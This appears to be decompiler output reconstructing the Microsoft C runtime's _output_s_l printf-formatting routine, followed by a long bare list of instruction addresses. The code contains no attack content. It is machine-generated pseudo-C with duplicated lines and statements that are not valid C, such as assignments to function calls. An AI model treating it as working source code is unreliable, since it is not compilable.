															__ecx =  *(__ebp - 0x288);
															__eax =  *__ecx;
															asm("cdq");
															 *__ecx - __edx =  *__ecx - __edx >> 1;
															 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
															 *(__ebp - 0xc) = 1;
														}
														goto L87;
													}
													goto L83;
												case 5:
													L123:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__eax = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L125:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L128:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L130:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B8D0(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__eax =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__eax =  *(__ebp + 0x14);
															__ecx =  *(__eax - 8);
															__edx =  *(__eax - 4);
															 *(__ebp - 0x2a8) =  *(__eax - 8);
															 *(__ebp - 0x2a4) =  *(__eax - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AE60(__ebp - 0x40));
															__eax =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__ecx =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__edx =  *((char*)(__ebp - 0x251));
															_push( *((char*)(__ebp - 0x251)));
															__eax =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__ecx =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__edx = __ebp - 0x2a8;
															_push(__ebp - 0x2a8);
															__eax =  *0x440374; // 0xf86dff92
															__eax =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AE60(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x440380; // 0xa86dfc78
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
															if( *((char*)(__ebp - 0x251)) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AE60(__ebp - 0x40));
																	__eax =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__ecx =  *0x44037c; // 0x886dfc7f
																	E004246D0(__ecx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__edx =  *(__ebp - 4);
															__eax =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__edx =  *(__ebp - 4);
																__edx =  *(__ebp - 4) + 1;
																__eflags = __edx;
																 *(__ebp - 4) = __edx;
															}
															__eax =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
															do {
																L190:
																if( *(_t627 - 0x28) != 0) {
																	goto L216;
																}
																goto L191;
															} while ( *(__ebp - 0x324) > 0x37);
															goto L72;
														}
														L126:
														__ecx =  *((char*)(__ebp - 0x251));
														__eflags = __ecx - 0x67;
														if(__ecx != 0x67) {
															goto L128;
														}
														L127:
														 *(__ebp - 0x30) = 1;
														goto L130;
													}
													L124:
													 *(__ebp - 0x30) = 6;
													goto L130;
												case 6:
													L75:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														__ebp + 0x14 = E00428370(__ebp + 0x14);
														 *(__ebp - 0x284) = __ax;
														__cl =  *(__ebp - 0x284);
														 *(__ebp - 0x248) = __cl;
														 *(__ebp - 0x24) = 1;
													} else {
														 *(__ebp - 0x280) = 0;
														__edx = __ebp + 0x14;
														__eax = E004283B0(__ebp + 0x14);
														 *(__ebp - 0x258) = __ax;
														__eax =  *(__ebp - 0x258) & 0x0000ffff;
														__ecx = __ebp - 0x248;
														__edx = __ebp - 0x24;
														 *(__ebp - 0x280) = E00434240(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
														__eflags =  *(__ebp - 0x280);
														if( *(__ebp - 0x280) != 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													while(1) {
														L190:
														if( *(_t627 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													}
												case 7:
													L143:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 8:
													goto L0;
												case 9:
													L151:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L153;
												case 0xa:
													L145:
													 *(__ebp - 0x30) = 8;
													goto L146;
												case 0xb:
													L90:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x328) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x328) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x328);
													 *(__ebp - 0x290) =  *(__ebp - 0x328);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E00428370(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														L101:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__edx =  *0x440f80; // 0x404448
															 *(__ebp - 4) = __edx;
														}
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x28c) =  *(__ebp - 4);
														while(1) {
															L104:
															__ecx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L105:
															__eax =  *(__ebp - 0x28c);
															__ecx =  *( *(__ebp - 0x28c));
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L106:
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
														}
														L107:
														__eax =  *(__ebp - 0x28c);
														__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
														__eflags = __eax;
														 *(__ebp - 0x24) = __eax;
														goto L108;
													} else {
														L94:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x440f84; // 0x404438
															 *(__ebp - 4) = __eax;
														}
														 *(__ebp - 0xc) = 1;
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x294) =  *(__ebp - 4);
														while(1) {
															L97:
															__edx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags =  *(__ebp - 0x290);
															if( *(__ebp - 0x290) == 0) {
																break;
															}
															L98:
															__ecx =  *(__ebp - 0x294);
															__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
															if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																break;
															}
															L99:
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
														}
														L100:
														 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
														__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
														 *(__ebp - 0x24) = __ecx;
														L108:
														while(1) {
															L190:
															if( *(_t627 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													}
												case 0xc:
													L144:
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 0xd:
													L147:
													 *(__ebp - 0x260) = 0x27;
													L148:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														 *((char*)(__ebp - 0x14)) = 0x30;
														 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
														__eflags =  *(__ebp - 0x260) + 0x51;
														 *((char*)(__ebp - 0x13)) = __al;
														 *(__ebp - 0x1c) = 2;
													}
													L153:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E00428370(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428370(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E00428370(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																	 *(__ebp - 0x2b4) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428370(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x2b8) = E00428390(__ebp + 0x14);
															 *(__ebp - 0x2b4) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x2b8) = E00428390(__ebp + 0x14);
														 *(__ebp - 0x2b4) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L170:
														__ecx =  *(__ebp - 0x2b8);
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
														__edx =  *(__ebp - 0x2b4);
														 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
														goto L171;
													} else {
														L166:
														__eflags =  *(__ebp - 0x2b4);
														if(__eflags > 0) {
															goto L170;
														}
														L167:
														if(__eflags < 0) {
															L169:
															 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
															__edx =  *(__ebp - 0x2b4);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
															 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L171:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x2c0);
																	__eax =  *(__ebp - 0x2bc);
																	__eax =  *(__ebp - 0x2bc) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x2bc) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x49;
															 *(__ebp - 4) = __ebp - 0x49;
															while(1) {
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																L182:
																 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																	goto L186;
																}
																L183:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x2bc);
																__edx =  *(__ebp - 0x2c0);
																__eax = E004307A0( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
																 *(__ebp - 0x2ac) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x2bc);
																__ecx =  *(__ebp - 0x2c0);
																 *(__ebp - 0x2c0) = E00430820( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
																 *(__ebp - 0x2bc) = __edx;
																__eflags =  *(__ebp - 0x2ac) - 0x39;
																if( *(__ebp - 0x2ac) > 0x39) {
																	__edx =  *(__ebp - 0x2ac);
																	__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
																	__eflags = __edx;
																	 *(__ebp - 0x2ac) = __edx;
																}
																__eax =  *(__ebp - 4);
																__cl =  *(__ebp - 0x2ac);
																 *( *(__ebp - 4)) = __cl;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																goto L182;
															}
														}
														L168:
														__eflags =  *(__ebp - 0x2b8);
														if( *(__ebp - 0x2b8) >= 0) {
															goto L170;
														}
														goto L169;
													}
												case 0xe:
													while(1) {
														L190:
														if( *(_t627 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													}
											}
										case 8:
											L30:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											goto L33;
										case 9:
											L31:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L33;
										case 0xa:
											L29:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xb:
											L28:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L33;
										case 0xc:
											L32:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __ecx;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xd:
											L33:
											goto L218;
									}
								} else {
									if(0 == 0) {
										 *(_t627 - 0x314) = 0;
									} else {
										 *(_t627 - 0x314) = 1;
									}
									_t574 =  *(_t627 - 0x314);
									 *(_t627 - 0x278) =  *(_t627 - 0x314);
									if( *(_t627 - 0x278) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t529 = L0041E390();
										_t630 = _t630 + 0x14;
										if(_t529 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t627 - 0x278) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L00422E80(_t574))) = 0x16;
										E00422C10(_t558, _t574, _t625, _t626, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t627 - 0x2f0) = 0xffffffff;
										E0041AE30(_t627 - 0x40);
										_t502 =  *(_t627 - 0x2f0);
										goto L229;
									}
								}
							}
							L219:
							if( *(_t627 - 0x25c) == 0) {
								L222:
								 *(_t627 - 0x334) = 1;
								L223:
								_t561 =  *(_t627 - 0x334);
								 *(_t627 - 0x2e0) =  *(_t627 - 0x334);
								if( *(_t627 - 0x2e0) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t507 = L0041E390();
									_t630 = _t630 + 0x14;
									if(_t507 == 1) {
										asm("int3");
									}
								}
								if( *(_t627 - 0x2e0) != 0) {
									 *(_t627 - 0x300) =  *(_t627 - 0x24c);
									E0041AE30(_t627 - 0x40);
									_t502 =  *(_t627 - 0x300);
								} else {
									 *((intOrPtr*)(L00422E80(_t561))) = 0x16;
									E00422C10(_t558, _t561, _t625, _t626, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t627 - 0x2fc) = 0xffffffff;
									E0041AE30(_t627 - 0x40);
									_t502 =  *(_t627 - 0x2fc);
								}
								goto L229;
							}
							L220:
							if( *(_t627 - 0x25c) == 7) {
								goto L222;
							}
							L221:
							 *(_t627 - 0x334) = 0;
							goto L223;
						}
					} else {
						L116:
						 *((intOrPtr*)(L00422E80(__ecx))) = 0x16;
						__eax = E00422C10(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
						 *(__ebp - 0x2f8) = 0xffffffff;
						__ecx = __ebp - 0x40;
						__eax = E0041AE30(__ecx);
						__eax =  *(__ebp - 0x2f8);
						L229:
						return E0042BCD0(_t502, _t558,  *(_t627 - 0x48) ^ _t627, _t598, _t625, _t626);
					}
					L118:
					if(( *(_t627 - 0x10) & 0x00000020) == 0) {
						 *( *(_t627 - 0x298)) =  *(_t627 - 0x24c);
					} else {
						 *( *(_t627 - 0x298)) =  *(_t627 - 0x24c);
					}
					 *(_t627 - 0x28) = 1;
					goto L190;
				}
			}

0x00434cf7
0x00434cf7
0x00434cf7
0x00434cf7
0x00434cf7
0x00434cf7
0x00434cfb
0x00434d00
0x00434d03
0x00434d10
0x00000000
0x00000000
0x00434d16
0x00434d16
0x00434d18
0x00434d26
0x00434d1a
0x00434d1a
0x00434d1a
0x00434d30
0x00434d36
0x00434d43
0x00434d45
0x00434d4a
0x00434d4c
0x00434d51
0x00434d56
0x00434d58
0x00434d5d
0x00434d63
0x00434d65
0x00434d65
0x00434d63
0x00434d6d
0x00434db5
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x004352ac
0x004352b2
0x004352bc
0x004352d1
0x004352e6
0x004352e8
0x004352ec
0x004352ec
0x004352d3
0x004352d3
0x004352d7
0x004352d7
0x004352be
0x004352be
0x004352c2
0x004352c2
0x004352bc
0x004352fc
0x00435308
0x0043531e
0x00435323
0x00435323
0x00435339
0x0043533e
0x00435347
0x0043534f
0x00435365
0x0043536a
0x0043536a
0x0043534f
0x00435371
0x00435445
0x00435458
0x0043545d
0x00000000
0x00435377
0x00435377
0x0043537b
0x00000000
0x00000000
0x00435381
0x00435381
0x0043538e
0x00435397
0x0043539d
0x0043539d
0x004353ac
0x004353b4
0x00000000
0x00000000
0x004353ba
0x004353c3
0x004353e2
0x004353e7
0x004353ea
0x004353f9
0x00435406
0x00435411
0x00435411
0x00000000
0x00435411
0x00435408
0x0043540f
0x0043541d
0x00435436
0x0043543b
0x00000000
0x0043543b
0x00000000
0x0043540f
0x00435443
0x00435460
0x00435467
0x0043546f
0x00435485
0x0043548a
0x0043548a
0x0043546f
0x00435467
0x0043548d
0x00435491
0x00435499
0x0043549e
0x004354a1
0x004354a1
0x004354a8
0x004354a8
0x0043457f
0x00434585
0x00434592
0x00434597
0x00000000
0x004345aa
0x004345b4
0x004345db
0x004345c2
0x004345d3
0x004345d3
0x004345b4
0x004345e5
0x004345eb
0x004345f7
0x004345fa
0x00434608
0x0043460b
0x00434618
0x004346bd
0x004346c3
0x004346d0
0x00000000
0x00000000
0x004346d6
0x004346dc
0x00000000
0x004346e3
0x004346e3
0x004346fb
0x00434700
0x00434703
0x00434705
0x004347bf
0x004347d2
0x004347d7
0x00000000
0x0043470b
0x0043471e
0x00434723
0x00434729
0x0043472b
0x00434734
0x00434734
0x00434737
0x00434743
0x00434747
0x0043474d
0x0043474f
0x00434754
0x00434756
0x0043475b
0x00434760
0x00434762
0x00434767
0x0043476a
0x0043476d
0x0043476f
0x0043476f
0x0043476d
0x00434770
0x00434770
0x00434777
0x00000000
0x00434779
0x0043477e
0x0043479a
0x004347a2
0x004347af
0x004347b4
0x00000000
0x004347b4
0x00434777
0x00000000
0x004347df
0x004347df
0x004347e6
0x004347e9
0x004347ec
0x004347ef
0x004347f2
0x004347f5
0x004347f8
0x004347ff
0x00434806
0x00000000
0x00000000
0x00434812
0x00434812
0x00434819
0x00434825
0x00434828
0x0043482e
0x00434835
0x00000000
0x00000000
0x00434837
0x00434837
0x0043483d
0x0043483d
0x00434844
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434887
0x00434887
0x0043488e
0x00434891
0x004348bb
0x004348be
0x004348be
0x004348c1
0x004348c8
0x004348c8
0x004348cc
0x00434893
0x00434893
0x0043489f
0x004348a2
0x004348a6
0x004348a8
0x004348ab
0x004348ab
0x004348ae
0x004348b4
0x004348b6
0x004348b6
0x004348b9
0x00000000
0x00000000
0x004348d4
0x004348d4
0x00000000
0x00000000
0x004348e0
0x004348e0
0x004348e7
0x004348ea
0x0043490a
0x0043490d
0x0043490d
0x00434917
0x00434917
0x0043491b
0x004348ec
0x004348ec
0x004348f8
0x004348fb
0x004348ff
0x00434901
0x00434901
0x00434908
0x00000000
0x00000000
0x00434923
0x00434923
0x0043492a
0x00434936
0x00434939
0x0043493f
0x00434946
0x00434a59
0x00000000
0x00434a59
0x0043494c
0x0043494c
0x00434952
0x00434952
0x00434959
0x00000000
0x0043498f
0x0043498f
0x00434992
0x00434995
0x00434998
0x004349c0
0x004349c0
0x004349c3
0x004349c6
0x004349c9
0x004349ee
0x004349ee
0x004349f1
0x004349f4
0x004349f7
0x00434a30
0x00434a41
0x00000000
0x00434a41
0x004349f9
0x004349f9
0x004349fc
0x004349ff
0x00434a02
0x00000000
0x00000000
0x00434a04
0x00434a04
0x00434a07
0x00434a0a
0x00434a0d
0x00000000
0x00000000
0x00434a0f
0x00434a0f
0x00434a12
0x00434a15
0x00434a18
0x00000000
0x00000000
0x00434a1a
0x00434a1a
0x00434a1d
0x00434a20
0x00434a23
0x00000000
0x00000000
0x00434a25
0x00434a25
0x00434a28
0x00434a2b
0x00434a2e
0x00434a32
0x00000000
0x00434a32
0x00000000
0x00434a2e
0x004349cb
0x004349cb
0x004349ce
0x004349d2
0x004349d5
0x00000000
0x004349d7
0x004349da
0x004349dd
0x004349e0
0x004349e3
0x004349e9
0x00000000
0x004349e9
0x004349d5
0x0043499a
0x0043499a
0x0043499d
0x004349a1
0x004349a4
0x00000000
0x004349a6
0x004349a9
0x004349ac
0x004349af
0x004349b2
0x004349b8
0x00000000
0x004349b8
0x00000000
0x00434a43
0x00434a46
0x00434a49
0x00000000
0x00000000
0x00434960
0x00434960
0x00434963
0x00434966
0x00434969
0x00434981
0x00434984
0x00434984
0x00434987
0x0043496b
0x0043496e
0x00434971
0x00434977
0x0043497c
0x0043497c
0x00000000
0x00000000
0x00434a4e
0x00434a4e
0x00434a51
0x00434a51
0x00434a56
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434a5e
0x00434a5e
0x00434a65
0x00434a71
0x00434a74
0x00434a7a
0x00434a81
0x00000000
0x004352a2
0x004352a2
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x00000000
0x004352a6
0x0043525c
0x0043525f
0x00435262
0x00435265
0x00435268
0x0043526b
0x00435271
0x00435271
0x00435271
0x00435279
0x0043527d
0x00000000
0x00000000
0x0043527f
0x0043527f
0x00435282
0x00435285
0x00435285
0x0043528a
0x0043528d
0x00435290
0x00435293
0x00435296
0x00435299
0x0043529c
0x0043529c
0x0043529f
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x00000000
0x004352a6
0x004352a2
0x00434a87
0x00434a8d
0x00434a8d
0x00434a94
0x00000000
0x00434dee
0x00434dee
0x00434df5
0x00434dfc
0x00434dfc
0x00434dff
0x00000000
0x00000000
0x00434a9b
0x00434a9e
0x00434a9e
0x00434aa4
0x00434aa6
0x00434aa9
0x00434aa9
0x00434aae
0x00434aae
0x00000000
0x00000000
0x00434bdb
0x00434bde
0x00434bde
0x00434be3
0x00434be5
0x00434be8
0x00434be8
0x00434bee
0x00434bee
0x00000000
0x00000000
0x00434fbb
0x00434fbb
0x00000000
0x00000000
0x00434b45
0x00434b45
0x00434b51
0x00434b57
0x00434b5e
0x00434b6c
0x00434b6c
0x00434b72
0x00434b75
0x00434b81
0x00434bd6
0x00000000
0x00434bd6
0x00434b60
0x00434b60
0x00434b66
0x00434b6a
0x00434b86
0x00434b89
0x00434b89
0x00434b8f
0x00434bb7
0x00434bbe
0x00434bc4
0x00434bc7
0x00434bca
0x00434bd0
0x00434bd3
0x00434b91
0x00434b91
0x00434b97
0x00434b9a
0x00434b9d
0x00434ba3
0x00434ba6
0x00434ba9
0x00434bab
0x00434bae
0x00434bae
0x00000000
0x00434b8f
0x00000000
0x00000000
0x00434e05
0x00434e08
0x00434e0b
0x00434e0e
0x00434e14
0x00434e17
0x00434e1e
0x00434e22
0x00434e2d
0x00434e2d
0x00434e31
0x00434e48
0x00434e48
0x00434e4f
0x00434e51
0x00434e51
0x00434e58
0x00434e58
0x00434e5f
0x00434e70
0x00434e7f
0x00434e82
0x00434e86
0x00434e9c
0x00434e88
0x00434e88
0x00434e8b
0x00434e91
0x00434e97
0x00434e97
0x00434e86
0x00434ea6
0x00434ea9
0x00434eac
0x00434eaf
0x00434eb2
0x00434eb5
0x00434ebb
0x00434ec1
0x00434ec9
0x00434eca
0x00434ecd
0x00434ece
0x00434ed1
0x00434ed2
0x00434ed9
0x00434eda
0x00434edd
